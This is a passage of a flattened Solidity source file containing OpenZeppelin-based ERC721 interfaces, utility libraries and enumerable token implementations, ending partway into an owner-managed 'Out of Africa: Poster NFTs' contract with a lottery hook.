}
// File nft_contracts/interfaces/IERC721.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721.sol)
pragma solidity 0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File nft_contracts/interfaces/IERC721Util.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721.sol)
pragma solidity 0.8.0;
interface IERC721Util {
function burn(uint256 tokenId) external;
function burnFor(address burner, uint256 tokenId) external;
function mintForWithId(address minter, uint256 tokenId) external;
}
// File nft_contracts/interfaces/IERC721Receiver.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721Receiver.sol)
pragma solidity 0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File nft_contracts/interfaces/IERC721Metadata.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity 0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File nft_contracts/library/Address.sol
// OpenZeppelin Contracts v4.3.2 (utils/Address.sol)
pragma solidity 0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File nft_contracts/library/Strings.sol
// OpenZeppelin Contracts v4.3.2 (utils/Strings.sol)
pragma solidity 0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File nft_contracts/utils/ERC165.sol
// OpenZeppelin Contracts v4.3.2 (utils/introspection/ERC165.sol)
pragma solidity 0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File nft_contracts/library/Counters.sol
// OpenZeppelin Contracts v4.3.2 (utils/Counters.sol)
pragma solidity 0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal returns (uint256){
unchecked {
counter._value += 1;
return counter._value;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
function set(Counter storage counter, uint256 value) internal {
counter._value = value;
}
}
// File nft_contracts/utils/ERC721.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/ERC721.sol)
pragma solidity 0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter internal tokenIdCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
string private _baseURI;
mapping (uint256 => string) private tokenIdToOffchainHash;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function _mintItem(address minter) internal virtual returns(uint256) {
uint256 newTokenId = tokenIdCounter.increment();
_safeMint(minter, newTokenId);
return newTokenId;
}
function _mintItemWithMeta(address minter, string memory _tokenURI) internal virtual returns(uint256) {
uint256 newTokenId = tokenIdCounter.increment();
_safeMint(minter, newTokenId);
_setTokenURI(newTokenId, _tokenURI);
return newTokenId;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() external view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (bytes(tokenIdToOffchainHash[tokenId]).length != 0) {
return tokenIdToOffchainHash[tokenId];
} else {
string memory baseURI_ = _baseURI;
return bytes(baseURI_).length > 0
? string(abi.encodePacked(baseURI_, tokenId.toString()))
: '';
}
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
tokenIdToOffchainHash[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function baseURI() external view returns (string memory) {
return _baseURI;
}
function baseTokenURI() external view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) external virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) external virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) external virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function exists(uint256 tokenId) external view returns (bool) {
return _owners[tokenId] != address(0);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data);
return (retval == IERC721Receiver(to).onERC721Received.selector);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File nft_contracts/interfaces/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity 0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File nft_contracts/utils/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity 0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == InterfaceId_ERC721 || interfaceId == InterfaceId_ERC721Exists || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) external view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File nft_contracts/P_NFT.sol
pragma solidity 0.8.0;
contract P_NFT is ERC721Enumerable, Ownable {
using SafeMath for uint256;
bool public isFrozen;
uint256 public maxCount = 1770;
address private _lottery;
event PermanentURI(string _value, uint256 indexed _id);
modifier nonFrozen() {
require(!isFrozen, "P-NFT: FROZEN");
_;
}
modifier onlyLottery() {
require(lottery() == _msgSender(), "Ownable: caller is not the lottery");
_;
}
constructor() ERC721("Out of Africa: Poster NFTs", "P-NFT") {
_setBaseURI("ipfs://QmUau2UTykkwrJ6W4vwR5GbYuAqemjoBSMCstVRjvoRwZ4/");
}
function lottery() public view virtual returns (address) {
return _lottery;
}
function setLottery(address newLottery) external onlyOwner {
_lottery = newLottery;
}
function setBaseUrl(string memory baseURI_) external onlyOwner nonFrozen {
_setBaseURI(baseURI_);
}
